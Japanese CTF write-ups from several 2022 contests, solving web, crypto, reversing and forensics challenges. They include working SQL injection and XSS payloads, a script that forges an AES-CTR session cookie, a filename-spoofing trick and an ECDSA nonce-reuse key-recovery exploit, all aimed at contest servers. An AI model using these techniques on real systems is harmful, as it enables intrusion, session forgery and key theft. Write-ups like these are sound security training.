まずguest / guestでログインする。idxが31までは表示されているが、32以降公開されていないものがあるかもしれないので、idxに 32' or 'a'='b を指定する。URLエンコードすると、以下のURLになる。

http://yai.sstf.site/paperdetail.php?idx=32%27%20or%20%27a%27=%27b

アクセスすると、レスポンスは以下のようになった。

{"status":"Success","Title":"KingWangZzang: A super ultra great AEG(Automatic Exploit Generator) for ethical hackers.","Author":"Matta Park (Samsung Research)","Conference":"Samsung Security Wish Forum","Year":"2021","Abstract":"In this paper, we propose KingWangZzang, an AEG(automatic exploit generator) which works for all modern computer platforms. By using KingWangZzang, we can achieve world peace, hopefuuuuuuuly. Unfortunately, we cannot reveal KingWangZzang's internal structure, but this hint will help you: SCTF{W4KE_up_IT's_mOndAy_m0rn1n9_183689c7}"}
SCTF{W4KE_up_IT's_mOndAy_m0rn1n9_183689c7}

DocxArchive (Rev, Misc)

docxをzip解凍すると、word/embeddingsにoleObject1.binが展開される。

$ binwalk oleObject1.doc 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
2651          0xA5B           PNG image, 298 x 24, 8-bit/color RGBA, non-interlaced
2742          0xAB6           Zlib compressed data, compressed

PNGを抽出すると、その画像にフラグが書いてあった。

SCTF{Do-y0u-kn0w-01E-4nd-3mf-forM4t?}

CUSES (Crypto, Web)

HTMLソースを見ると以下のようなコメントがある。

<!-- guest account: guest / guestpassword -->

guest / guestpasswordでログインし、[View Source]でソースを見る。

<?php

include "secret.php";    //server_secret, iv, flag

$cookie_name = "SESSION";

if (!isset($_COOKIE[$cookie_name])) {
    header('Location: /signin.php');
    exit;
}

$cipher="aes-128-ctr";
list($iv, $encrypted_session_data) = explode("|", base64_decode($_COOKIE[$cookie_name]), 2);
$session_data = openssl_decrypt($encrypted_session_data, $cipher, $server_secret, OPENSSL_RAW_DATA, $iv);
list($username, $auth_code) = explode("|", $session_data);
if ($auth_code !== $server_secret) {
    die("No hack!");
}
?>

<html>
<head>

<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.0-beta3/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-eOJMYsd53ii+scO/bJGFsiCZc+5NDVN2yr8+0RDqr0Ql0h+rP48ckxlpbzKgwra6" crossorigin="anonymous">

<script src="https://cdn.jsdelivr.net/npm/@popperjs/core@2.9.1/dist/umd/popper.min.js" integrity="sha384-SR1sx49pcuLnqZUnnPwx6FCym0wLsk5JZuNx2bPPENzswTNFaQU1RDvt3wT4gWFG" crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.0.0-beta3/dist/js/bootstrap.min.js" integrity="sha384-j0CNLUeiqtyaRmlzUHCPZ+Gy5fQu0dQ6eZ/xAww941Ai1SxSY+0EQqNXNE6DZiVc" crossorigin="anonymous"></script>

</head>
<body>
    <div class="px-4 py-5 my-5">
        <div class="col-lg-6 mx-auto text-center">
            <p class="lead mb-4">
<?php
print("Welcome, ".$username." :)<br>");

if ($username === "admin") {
    print("Flag: ".$flag);
}else{
    print("Only admin can see the flag. Sorry.");
}
?>
        </p>
        <div>
            <button type="button" class="btn btn-success btn-sm" onclick="location.href='index.php?source';">View Source</button>

            <button type="button" class="btn btn-warning btn-sm" onclick="location.href='signin.php?logout';">Logout</button>
        </div>
    </div>
<?php

if (isset($_GET['source'])) {
    print("<hr>\n");
    highlight_file(__FILE__);
}

?>
</div>
</body>
</html>

クッキーのSESSIONの値を見ると、以下のように設定されている。

SA1p8eGFm6jgURLd%2FKxSqny%2B%2B%2BRK8Zpd7iRpNpahkOTF7TMzL%2BNdFxv6VdmtQRcLSSiMBuMvKHkUIImfltt1QkOaF0qOJDVOc6cqgzFFS5%2FNbji1pia5tQ%3D%3D

URLデコードする。

SA1p8eGFm6jgURLd/KxSqny+++RK8Zpd7iRpNpahkOTF7TMzL+NdFxv6VdmtQRcLSSiMBuMvKHkUIImfltt1QkOaF0qOJDVOc6cqgzFFS5/Nbji1pia5tQ==

base64デコードする。

>>> from base64 import *
>>> b64decode('SA1p8eGFm6jgURLd/KxSqny+++RK8Zpd7iRpNpahkOTF7TMzL+NdFxv6VdmtQRcLSSiMBuMvKHkUIImfltt1QkOaF0qOJDVOc6cqgzFFS5/Nbji1pia5tQ==')
b'H\ri\xf1\xe1\x85\x9b\xa8\xe0Q\x12\xdd\xfc\xacR\xaa|\xbe\xfb\xe4J\xf1\x9a]\xee$i6\x96\xa1\x90\xe4\xc5\xed33/\xe3]\x17\x1b\xfaU\xd9\xadA\x17\x0bI(\x8c\x06\xe3/(y\x14 \x89\x9f\x96\xdbuBC\x9a\x17J\x8e$5Ns\xa7*\x831EK\x9f\xcdn8\xb5\xa6&\xb9\xb5'

これの"|"より前16バイトがiv。その後5バイトが"guest"をAES-CTRで暗号化されている。"admin"にするためにこの5バイトを以下のように計算すればよい。

新暗号5バイト = "guest" ^ 暗号5バイト ^ "admin"

上記の計算からadminのクッキーを求める。

#!/usr/bin/env python3
from Crypto.Util.strxor import strxor
from base64 import *

cookie = b'SA1p8eGFm6jgURLd/KxSqny+++RK8Zpd7iRpNpahkOTF7TMzL+NdFxv6VdmtQRcLSSiMBuMvKHkUIImfltt1QkOaF0qOJDVOc6cqgzFFS5/Nbji1pia5tQ=='
session = b64decode(cookie)
iv = session.split(b'|')[0]
enc = session.split(b'|')[1]

user1 = b'guest'
user2 = b'admin'
new_enc_head = strxor(strxor(user1, enc[:5]), user2)
new_session = iv + b'|' + new_enc_head + enc[5:]
new_cookie = b64encode(new_session).decode()
print(new_cookie)

実行結果は以下の通り。

SA1p8eGFm6jgURLd/KxSqny46uxQ65pd7iRpNpahkOTF7TMzL+NdFxv6VdmtQRcLSSiMBuMvKHkUIImfltt1QkOaF0qOJDVOc6cqgzFFS5/Nbji1pia5tQ==

これをURLエンコードして、クッキーのSESSIONに設定する。

SA1p8eGFm6jgURLd%2FKxSqny46uxQ65pd7iRpNpahkOTF7TMzL%2BNdFxv6VdmtQRcLSSiMBuMvKHkUIImfltt1QkOaF0qOJDVOc6cqgzFFS5%2FNbji1pia5tQ%3D%3D

その後リロードすると、フラグが表示された。

Welcome, admin :)
Flag: SCTF{T3ll_me_4_r3ally_s3cure_w4y_to_m4na9e_5eSS10ns}
SCTF{T3ll_me_4_r3ally_s3cure_w4y_to_m4na9e_5eSS10ns}

Survey (Misc)

アンケートに答えたら、フラグが表示された。

SCTF{7h4nk_yOu_S33_y0u_49a1n_1n_S5TF2O23}

SHELLCTF 2022 Writeup

この大会は2022/8/12 21:30(JST)~2022/8/14 21:30(JST)に開催されました。
今回もチームで参戦。結果は5471点で1093チーム中34位でした。
自分で解けた問題をWriteupとして書いておきます。

Sanity Check (Misc)

Discordに入り、#announcementsチャネルを見ると、フラグが書いてあった。

SHELLCTF{W3lc0me_2_SHELLCTF2022}

World's Greatest Detective (Misc)

問題の画像は以下の通りで、換字式暗号と推測できる。

"wakandan font"で検索すると、対応表が出てくる。

https://www.pinterest.jp/pin/783837510135856581/
https://omniglot.com/conscripts/wakandan.htm

この表に従い、対応する文字を並べる。

SHELLCTF{W4kandA_F0rev3r}

How to defeat a dragon (Reversing)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  long in_FS_OFFSET;
  int local_7c;
  undefined8 local_78;
  undefined8 local_70;
  undefined8 local_68;
  undefined8 local_60;
  undefined8 local_58;
  undefined8 local_50;
  undefined8 local_48;
  undefined8 local_40;
  undefined8 local_38;
  undefined8 local_30;
  undefined8 local_28;
  undefined8 local_20;
  undefined4 local_18;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_78 = 0x4654434c4c454853;
  local_70 = 0x343534383433357b;
  local_68 = 0x3434353334633463;
  local_60 = 0x3535333133623736;
  local_58 = 0x3336373333323566;
  local_50 = 0x3631333533323733;
  local_48 = 0x3333336635373665;
  local_40 = 0x3766333937333734;
  local_38 = 0x7d64;
  local_30 = 0;
  local_28 = 0;
  local_20 = 0;
  local_18 = 0;
  printf("Help us defeat the dragon!! Enter the code:");
  __isoc99_scanf(&DAT_00102034,&local_7c);
  if (local_7c == 0x10f2c) {
    printf("Yeahh!!,we did it,We defeated the dragon.Thanks for your help here\'s your reward : %s",
           &local_78);
  }
  else if (local_7c == 0x45) {
    printf("Nice,but this is not the code :(.");
  }
  else if (local_7c == 0x1a4) {
    printf("Bruh!! Seriously?");
  }
  else {
    printf("wron..aaaaaahhhhhhhh");
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}
>>> 0x10f2c
69420

入力時に69420を指定すれば、フラグが表示される。

$ ./vault 
Help us defeat the dragon!! Enter the code:69420
Yeahh!!,we did it,We defeated the dragon.Thanks for your help here's your reward : SHELLCTF{5348454c4c4354467b31355f523376337235316e675f333473793f7d}

このままだと通らない。ブラケットの中をhexデコードする。

$ echo 5348454c4c4354467b31355f523376337235316e675f333473793f7d | xxd -r -p
SHELLCTF{15_R3v3r51ng_34sy?}
SHELLCTF{15_R3v3r51ng_34sy?}

warmup (Reversing)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  bool bVar1;
  size_t sVar2;
  long in_FS_OFFSET;
  int local_ac;
  int local_a8 [28];
  char local_38 [40];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  printf("enter the flag: ");
  __isoc99_scanf(&DAT_00102015,local_38);
  sVar2 = strlen(local_38);
  if (sVar2 == 0x1b) {
    local_a8[0] = 0x1cc;
    local_a8[1] = 0x1a0;
    local_a8[2] = 0x194;
    local_a8[3] = 0x1b0;
    local_a8[4] = 0x1b0;
    local_a8[5] = 0x18c;
    local_a8[6] = 0x1d0;
    local_a8[7] = 0x198;
    local_a8[8] = 0x1ec;
    local_a8[9] = 0x188;
    local_a8[10] = 0xc4;
    local_a8[11] = 0x1d0;
    local_a8[12] = 0x15c;
    local_a8[13] = 0x1a4;
    local_a8[14] = 0xd4;
    local_a8[15] = 0x194;
    local_a8[16] = 0x17c;
    local_a8[17] = 0xc0;
    local_a8[18] = 0x1c0;
    local_a8[19] = 0xcc;
    local_a8[20] = 0x1c8;
    local_a8[21] = 0x104;
    local_a8[22] = 0x1d0;
    local_a8[23] = 0xc0;
    local_a8[24] = 0x1c8;
    local_a8[25] = 0x14c;
    local_a8[26] = 500;
    bVar1 = true;
    for (local_ac = 0; local_ac < 0x1b; local_ac = local_ac + 1) {
      bVar1 = (bool)(bVar1 & local_a8[local_ac] >> 2 == (int)local_38[local_ac]);
    }
    if (bVar1) {
      puts("yes, that\'s it");
    }
    else {
      puts("nah that\'s not it");
    }
  }
  else {
    puts("wrong length");
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

local_a8の各値を右へ2ビットシフトすればよい。

#!/usr/bin/env python3

enc = [0x1cc, 0x1a0, 0x194, 0x1b0, 0x1b0, 0x18c, 0x1d0, 0x198, 0x1ec, 0x188,
    0xc4, 0x1d0, 0x15c, 0x1a4, 0xd4, 0x194, 0x17c, 0xc0, 0x1c0, 0xcc, 0x1c8,
    0x104, 0x1d0, 0xc0, 0x1c8, 0x14c, 500]

flag = ''
for c in enc:
    flag += chr(c >> 2)
print(flag)
shellctf{b1tWi5e_0p3rAt0rS}

Pulling the strings (Reversing)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  int iVar1;
  long in_FS_OFFSET;
  wchar_t local_158 [82];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  wprintf(L"Give Something to eat.\n I\'m Hungry!!");
  fgetws(local_158,0x50,stdin);
  iVar1 = wcscmp((wchar_t *)flag,local_158);
  if (iVar1 == 0) {
    fputws(L"Thank you!",stdout);
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

flagのデータを見てみる。

                             flag                                            XREF[2]:     Entry Point(*), main:00101213(R)  
        00104010 08 20 10        addr       u_SHELLCTF{Th4nks_f0r_the_food}_00102008         = U"SHELLCTF{Th4nks_f0r_the_food}"
                 00 00 00 
                 00 00
SHELLCTF{Th4nks_f0r_the_food}

Keygen (Reversing)

Ghidraでデコンパイルする。

undefined8 main(int param_1,long param_2)

{
  size_t sVar1;
  undefined8 uVar2;
  int local_20;
  int local_1c;
  
  if (param_1 == 2) {
    printf("Checking license: %s\n",*(undefined8 *)(param_2 + 8));
    local_20 = 0;
    local_1c = 0;
    while( true ) {
      sVar1 = strlen(*(char **)(param_2 + 8));
      if (sVar1 < (ulong)(long)local_1c) break;
      local_20 = local_20 + *(char *)((long)local_1c + *(long *)(param_2 + 8));
      local_1c = local_1c + 1;
    }
    if (local_20 == 0x312) {
      uVar2 = getString();
      printf("Access Granted!:%s",uVar2);
    }
    else {
      printf("Wrong!!!");
    }
  }
  else {
    puts("Usage: ./keygen <key>");
  }
  return 0;
}

undefined * getString(void)

{
  undefined *puVar1;
  
  puVar1 = (undefined *)malloc(0x19);
  *puVar1 = 0x53;
  puVar1[1] = 0x48;
  puVar1[2] = 0x45;
  puVar1[3] = 0x4c;
  puVar1[4] = 0x4c;
  puVar1[5] = 0x43;
  puVar1[6] = 0x54;
  puVar1[7] = 0x46;
  puVar1[8] = 0x7b;
  puVar1[9] = 0x6b;
  puVar1[10] = 0x33;
  puVar1[0xb] = 0x79;
  puVar1[0xc] = 0x67;
  puVar1[0xd] = 0x65;
  puVar1[0xe] = 0x6e;
  puVar1[0xf] = 0x5f;
  puVar1[0x10] = 0x31;
  puVar1[0x11] = 0x73;
  puVar1[0x12] = 0x5f;
  puVar1[0x13] = 99;
  puVar1[0x14] = 0x30;
  puVar1[0x15] = 0x6f;
  puVar1[0x16] = 0x4c;
  puVar1[0x17] = 0x7d;
  puVar1[0x18] = 0;
  return puVar1;
}

getStringの値を文字にすればよい。

#!/usr/bin/env python3

enc = [0x53, 0x48, 0x45, 0x4c, 0x4c, 0x43, 0x54, 0x46, 0x7b, 0x6b, 0x33, 0x79,
    0x67, 0x65, 0x6e, 0x5f, 0x31, 0x73, 0x5f, 99, 0x30, 0x6f, 0x4c, 0x7d]

flag = ''
for c in enc:
    flag += chr(c)
print(flag)
SHELLCTF{k3ygen_1s_c0oL}

"hoge"という名前を入れて、Submitすると、以下のURLに遷移するが、特に表示は変わらない。

http://20.125.142.38:8326/check?name=hoge

リンクされている/static/base_cookie.cssを見てみると、下の方に以下のコメントがある。

/*   name="C0loR"  */

クエリパラメータのkeyとvalueの組を変えてアクセスする。

$ curl http://20.125.142.38:8326/check?C0loR=Blue
<!DOCTYPE html>
<html lang="en" dir="ltr">
  <head>
    <meta charset="utf-8">
    <title>S.H.E.L.L CTF</title>
    <link rel="stylesheet" href="/static/base_cookie.css">
  </head>
  <body>
    <h5 id="flag"> shellctf{C0ooooK13_W17h_c0ooorr3c7_Parr4m37er...} </h5>
    <div id="flag_fake">
      <img src="../static/Hack1.jpg" alt="">

    </div>
  </body>
</html>
shellctf{C0ooooK13_W17h_c0ooorr3c7_Parr4m37er...}

Choosy (Web)

"A"と入力すると、以下のURLになり、"a"と表示される。

http://20.193.247.209:8333/result?input=A

以下のURLにアクセスすると、太字で"a"と表示される。

http://20.193.247.209:8333/result?input=<b>A</b>

以下のURLにアクセスすると、"<>alert(1)"と表示される。

http://20.193.247.209:8333/result?input=<script>alert(1)</script>

以下のURLにアクセスすると、ポップアップして"1"と表示される。

http://20.193.247.209:8333/result?input=<scscriptript>alert(1)</scscriptript>

どうやら1回限り"script"は削除されるようだ。scriptタグではなく、imgタグでできる方法も調べてみる。以下を入力し、Submitすると、ポップアップして、フラグが表示された。

<img src="1" onerror="alert(1)">
shellctf{50oom3_P4yL0aDS_aM0ng_Maaa4nnY}

Doc Holder (Web)

画像にコードを埋め込み、アップロードするタイプの問題と推測。まず通常のjpgをSubmitしてみたが、特に関連するデータは表示されず、以下のように表示されるのみ。

Not Tasty

他にもいろいろなファイルをSubmitしてみたところ、pdfファイルのみ以下のように表示される。

Yummmmmmmmmmyyyyy

問題文にヒントが追加されている。

Hint --- Challenge is all about file extension of the file that you are uploading....

拡張子に関する問題ということらしい。RLOの問題と推測し、PDFファイルのファイル名を以下のように変える。

exploit.fdp

さらに"."と"f"の間にRLO制御文字を入れる。

exploit.[RLO]fdp

見た目はexploit.pdfになるので、このファイルをSubmitすると、フラグが表示された。

shellctf{R1ghtt_t0_l3ft_0veRiDe_1s_k3Y}

Extractor (Web)

SQLインジェクション

Username :' or 1=1 -- -
Password: (空欄)
Signature: (空欄)

上記を入力すると、以下のように表示される。

Welcome
Here is what you left with us :
Name : user
Password : P4ss321
Signature : Nothing here

Usernameにいろいろ入力して情報を抜いてみる。まず列数を割り出す。

・' union select 1 -- -
 →SELECTs to the left and right of UNION do not have the same number of result columns

・' union select 1, 2 -- -
 →SELECTs to the left and right of UNION do not have the same number of result columns

・' union select 1, 2, 3 -- -
 →SELECTs to the left and right of UNION do not have the same number of result columns

・' union select 1, 2, 3, 4 -- -
Welcome
Here is what you left with us :
Name : 2
Password : 3
Signature : 4

次にテーブルの中身を抜いていく。

・' union select 1, sqlite_version(), 3, 4 -- -
Welcome
Here is what you left with us :
Name : 3.27.2
Password : 3
Signature : 4

・' union select 1, 2, count(*), 4 from sqlite_master where type='table' -- -
Welcome
Here is what you left with us :
Name : 2
Password : 3
Signature : 4

・' union select 1, 2, name, 4 from sqlite_master where type='table' limit 1 -- -
Welcome
Here is what you left with us :
Name : 2
Password : Admins
Signature : 4

・' union select 1, 2, name, 4 from sqlite_master where type='table' limit 1, 1 -- -
Welcome
Here is what you left with us :
Name : 2
Password : sqlite_sequence
Signature : 4

・' union select 1, 2, name, 4 from sqlite_master where type='table' limit 2, 1 -- -
Welcome
Here is what you left with us :
Name : 2
Password : users
Signature : 4

・' union select 1, 2, sql, 4 from sqlite_master where type='table' and name='Admins' limit 1 -- -
Welcome
Here is what you left with us :
Name : 2
Password : CREATE TABLE Admins ( id INTEGER PRIMARY KEY AUTOINCREMENT, user TEXT NOT NULL, pass TEXT NOT NULL, content TEXT NOT NULL )
Signature : 4

・' union select 1, user, pass, content from Admins limit 1 -- -
Welcome
Here is what you left with us :
Name : Adminnn
Password : H4rD_t0_Gue5s
Signature : shellctf{Sql_1Nj3c7i0n_B45iC_XD}
shellctf{Sql_1Nj3c7i0n_B45iC_XD}

Alien Communication (Forensics)

Audacityで開き、スペクトログラムを見ると、フラグが現れた。

shell{y0u_g07_7h3_f1ag}

Secret Document (Forensics)

"shell"をkeyとして、XORで復号すると、pngが復元される。

#!/usr/bin/env python3
with open('Secret-Document.dat', 'rb') as f:
    ct = f.read()

key = b'shell'

pt = b''
for i in range(len(ct)):
    pt += bytes([ct[i] ^ key[i % len(key)]])

with open('flag.png', 'wb') as f:
    f.write(pt)

復元されたpng画像にフラグが書いてあった。

shell{y0u_c4n_s33_th3_h1dd3n}

Hidden File (Forensics)

$ steghide extract -sf Hidden.jpg -p shell
wrote extracted data to "Hidden Files.zip".
$ unzip "Hidden Files.zip"
Archive:  Hidden Files.zip
  inflating: se3cretf1l3.pdf         
  inflating: something.jpg           
  inflating: flag.zip

PDFを開き、全選択すると、以下の文字列が隠されていた。

key is shellctf

jpgのQRコードをデコードする。

https://www.youtube.com/watch?v=dQw4w9WgXcQ

いつもの「Rick Astley - Never Gonna Give You Up」に」動画。このURLは関係なさそう。先ほどのkeyをパスワードにして、flag.zipを解凍すると、flag.txtが展開され、フラグが書いてあった。

shell{y0u_g07_th3_flag_N1c3!}

Heaven (Forensics)

StegSolveで開き、[Analyse]-[Data Extract]で、RGBの7ビット目だけチェックを入れると、フラグが現れた。

SHELL{man1pul4t1ng_w1th_31ts_15_3A5y}

GO Deep! (Forensics)

DeepSoundに取り込み、パスワードに"shell"を指定すると、Deep Flag.txtが抽出できる。抽出したファイルにフラグが書いてあった。

SHELL{y0u_w3r3_7h1nk1ng_R3ally_D33p}

Tweeeet (Crypto)

問題の画像は以下の通りで、Birds on a wire codeの換字式暗号と推測できる。

https://www.geocachingtoolbox.com/index.php?lang=en&page=codeTables&id=birdsOnAWireを参照して復号する。

WELOVESINGING
SHELL{WELOVESINGING}

MALBORNE (Crypto)

難解プログラミング言語のMalbolge。https://malbolge.doleczek.pl/で実行する。

Hi hope everything is fine , here is your flag:  SHELL{m41b01g3_15_my_n3w_l4ngu4g3}
SHELL{m41b01g3_15_my_n3w_l4ngu4g3}

Feel me (Crypto)

0, 1で点字を表した動画と推測できる。フレームごとに静止画に分解してみる。

#!/usr/bin/python3
import cv2
import os

def save_all_frames(video_path, ext='jpg'):
    if not os.path.exists(video_path):
        return

    cap = cv2.VideoCapture(video_path)

    if not cap.isOpened():
        return

    dir_path = os.path.dirname(video_path)
    digit = len(str(int(cap.get(cv2.CAP_PROP_FRAME_COUNT))))

    n = 0

    while True:
        ret, frame = cap.read()
        if ret:
            filename = '{}_{}.{}'.format(os.path.splitext(os.path.basename(video_path))[0], str(n).zfill(digit), ext)
            cv2.imwrite(os.path.join(dir_path,filename), frame)
            n += 1
        else:
            return

save_all_frames('video.mp4')

分解した点字の画像をそれぞれデコードする。

**ssshheeelllll**yyyoouuuccaaannssseeeeemmeee**ssshheeelllll
SHELL{youcanseeme}

Tring Tring.... (Crypto)

モールス信号としてデコードする。

999/666/88/222/2/66/777/33/2/3/6/999/7777/6/7777

ガラケーキーパッドのキー入力としてデコードする。

YOUCANREADMYSMS
SHELL{YOUCANREADMYSMS}

OX9OR2 (Crypto)

ブルートフォースして、'SHELL'に復号される箇所を見てみたが、やはり先頭しか妥当な箇所はない。あとは鍵などから推測して復号する。

#!/usr/bin/env python3
with open('encrypted', 'rb') as f:
    ct = f.read()

pt_part = b'SHELL'

for i in range(len(ct) - 5):
    key = [''] * 9
    for j in range(len(pt_part)):
        key[(i + j) % 9] = chr(ct[i + j] ^ pt_part[j])
    if not ''.join(key).isalnum():
        continue
    pt = ['*'] * len(ct)
    success = True
    for j in range(len(ct)):
        if key[j % 9] != '':
            p = ct[j] ^ ord(key[j % 9])
            if p < 32 or p > 126:
                success = False
                break
            pt[j] = chr(ct[j] ^ ord(key[j % 9]))
    if pt[0] == '_':
        success = False
    if success:
        print('[+] flag:', ''.join(pt))
        break

## guess
flag_head = b'SHELL{X0R'
for i in range(5, 9):
    key[i] = chr(ct[i] ^ flag_head[i])
print('[+] key:', ''.join(key))


flag = ''
for i in range(len(ct)):
    flag += chr(ct[i] ^ ord(key[i % 9]))
print('[*] flag:', flag)

実行結果は以下の通り。

[+] flag: SHELL****_1S_R****51BL3*
[+] key: XORISCOOL
[*] flag: SHELL{X0R_1S_R3VeR51BL3}
SHELL{X0R_1S_R3VeR51BL3}

nullcon Goa HackIM CTF 2022 Writeup

この大会は2022/8/13 15:00(JST)~2022/8/14 15:00(JST)に開催されました。
今回もチームで参戦。結果は 701点で393チーム中42位でした。
自分で解けた問題をWriteupとして書いておきます。

FREE POINTS! (sanity)

問題にフラグが書いてあった。

ENO{ENJOY_PLAYING}

サーバの処理概要は以下の通り。

・P-256パラメータ設定
 p, a, b, n, curve, G
・target = b'I still love cookies.'
・d_a = ランダム32バイトの数値化したもの
・P_a = G * d_a
・r, s = sign(target, True)
・P_a表示
・以下繰り返し
 ・cmd: 入力
 ・cmdの先頭2バイトが"1:"の場合
  ・cmdの3バイト目以降のsignの結果を表示
 ・cmdの先頭2バイトが"2:"の場合
  ・r, s: cmdの3バイト目以降の","区切りの2つ
  ・verify(r, s, target, P_a)がTrueの場合、フラグを表示

ECDSAの問題。ただし、kは65536未満のランダム整数のため。衝突の可能性が高い。何度かsignを繰り返していくと、rが同じケースが出るはず。異なるメッセージでrが同じsignature(r, s1), (r, s2)を入手できた場合、以下のような計算ができる。

z1 = int(hashlib.md5(msg1).hexdigest(), 16)
z2 = int(hashlib.md5(msg2).hexdigest(), 16)
k = (z1 - z2) * inverse(s1 - s2, n) % n
d_a = (s1 * k - z1) * inverse(r1, n) % n

以上から、targetのsignatureを算出できるので、その結果を渡せば、フラグが得られる。

#!/usr/bin/env python3
import socket
import hashlib
from ec import *
from Crypto.Util.number import *

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

p = 0xffffffff00000001000000000000000000000000ffffffffffffffffffffffff
a = -3
b = 0x5ac635d8aa3a93e7b3ebbd55769886bc651d06b0cc53b0f63bce3c3e27d2604b
n = 0xffffffff00000000ffffffffffffffffbce6faada7179e84f3b9cac2fc632551
curve = EllipticCurve(p,a,b, order = n)
G = ECPoint(curve, 0x6b17d1f2e12c4247f8bce6e563a440f277037d812deb33a0f4a13945d898c296, 0x4fe342e2fe1a7f9b8ee7eb4a7c0f9e162bce33576b315ececbb6406837bf51f5)
target = b'I still love cookies.'

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('52.59.124.14', 10005))

data = recvuntil(sock, b'\n').rstrip()
print(data)
data = recvuntil(sock, b'\n').rstrip()
print(data)
data = recvuntil(sock, b'\n').rstrip()
print(data)

rs = []
ss = []
for i in range(65536):
    data = recvuntil(sock, b'check]\n').rstrip()
    print(data)
    data = recvuntil(sock, b'\n').rstrip()
    print(data)
    msg = str(i).zfill(5)
    cmd = '1:' + msg
    print(cmd)
    sock.sendall(cmd.encode() + b'\n')
    data = recvuntil(sock, b'\n').rstrip()
    print(data)
    r , s1 = eval(data)
    if r in rs:
        index = rs.index(r)
        s2 = ss[index]
        z1 = int(hashlib.md5(msg.encode()).hexdigest(), 16)
        z2 = int(hashlib.md5(str(index).encode().zfill(5)).hexdigest(), 16)
        break

    rs.append(r)
    ss.append(s1)

    i += 1

k = (z1 - z2) * inverse(s1 - s2, n) % n
d_a = (s1 * k - z1) * inverse(r, n) % n

R = G * k
x, y = R.x, R.y
r = x % n
s = inverse(k, n) * (int(hashlib.md5(target).hexdigest(),16) + r * d_a) % n

data = recvuntil(sock, b'check]\n').rstrip()
print(data)
data = recvuntil(sock, b'\n').rstrip()
print(data)
msg = str(r) + ',' + str(s)
cmd = '2:' + msg
print(cmd)
sock.sendall(cmd.encode() + b'\n')
data = recvuntil(sock, b'\n').rstrip()
print(data)

実行結果は以下の通り。

My public key is:
Point(69148073155886016179332475534481076967664728224629186908130713787937845616903, 41205214553766042760762537386801131157236938074525904309997914590961437731806)
I will sign anythin as long as it does not talk about cookies.
Choose an option:
1:[text to sign]
2:[number,number - signature to check]

1:00000
(103620037724456292160909247152603324037826675844129306051494527318824828844006, 65063951920621117425767992893200443175794900191455570011670777683558191341196)
Choose an option:
1:[text to sign]
2:[number,number - signature to check]

1:00001
(97239160500360134845055152773408738160270561567541735499373976486205564710901, 97386882204750183894385144659843539660020781774836909016577052347033624980268)
Choose an option:
1:[text to sign]
2:[number,number - signature to check]

1:00002
(13561070049808612158968862888819425964767030164164811857583918316359145562717, 38143796610128049740960902429412425503998067340174211968359647782831125671044)
Choose an option:
1:[text to sign]
2:[number,number - signature to check]

1:00003
(72555067614363078064235738641918081170060536255630967891212814493092360010667, 29405572946442923511433356951427467391193522786329957441241552381361965788352)
Choose an option:
1:[text to sign]
2:[number,number - signature to check]

1:00004
(91066673070387237528868579256042690888957486523197874909256675595985858672697, 30918506023288548125678798103504853303114727453602529423249588483686830654548)
Choose an option:
1:[text to sign]
2:[number,number - signature to check]

1:00005
(36125549519596618782586016339635904235140843613611402659347197692296912569322, 19995491879891482303036287330389391139859738018411024133729407826881939227495)
Choose an option:
1:[text to sign]
2:[number,number - signature to check]

        :
        :

1:00256
(42210713867248392276539395550506078877212977557299451415846602848958266345520, 99109191007301880737226383457129568359070924368687824328550677883040976032932)
Choose an option:
1:[text to sign]
2:[number,number - signature to check]

1:00257
(67027935531475083361562190519297509405012686631840502833869662290751204121547, 19371069395261191283890135461379564969854264027226559949068158910488030220597)
Choose an option:
1:[text to sign]
2:[number,number - signature to check]

1:00258
(20570865741513900968029214814394535007423062856754389580734061856369277346145, 78286257782349415685100297855765444293485859886046253615739553289233042443812)
Choose an option:
1:[text to sign]
2:[number,number - signature to check]

1:00259
(103344774071497076257173493732650640012438704416369268955810336705703160817093, 8205101630170098140806410181348152742391214074585705539576744488192760971870)
Choose an option:
1:[text to sign]
2:[number,number - signature to check]

1:00260
(72862377221958341026740269167283287471654671456870194354146029775860161925628, 61035458095966007876682459033695188692032698094072784988093012000614720792881)
Choose an option:
1:[text to sign]
2:[number,number - signature to check]

1:00261
(97239160500360134845055152773408738160270561567541735499373976486205564710901, 7738636678726030723109117715512575150734350618348491018646381788474571261046)
Choose an option:
1:[text to sign]
2:[number,number - signature to check]

2:97239160500360134845055152773408738160270561567541735499373976486205564710901,107492483321193936228761501238728921223795430681283172434744697644787267097847
ENO{gr33tings_fr0m_the_PS3}
ENO{gr33tings_fr0m_the_PS3}

何がcookie_lover_reloadedと違うのかわからない。cookie_lover_reloadedで使ったスクリプトを通信先だけ変更して実行する。

#!/usr/bin/env python3
import socket
import hashlib
from ec import *
from Crypto.Util.number import *

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

p = 0xffffffff00000001000000000000000000000000ffffffffffffffffffffffff
a = -3
b = 0x5ac635d8aa3a93e7b3ebbd55769886bc651d06b0cc53b0f63bce3c3e27d2604b
n = 0xffffffff00000000ffffffffffffffffbce6faada7179e84f3b9cac2fc632551
curve = EllipticCurve(p,a,b, order = n)
G = ECPoint(curve, 0x6b17d1f2e12c4247f8bce6e563a440f277037d812deb33a0f4a13945d898c296, 0x4fe342e2fe1a7f9b8ee7eb4a7c0f9e162bce33576b315ececbb6406837bf51f5)
target = b'I still love cookies.'

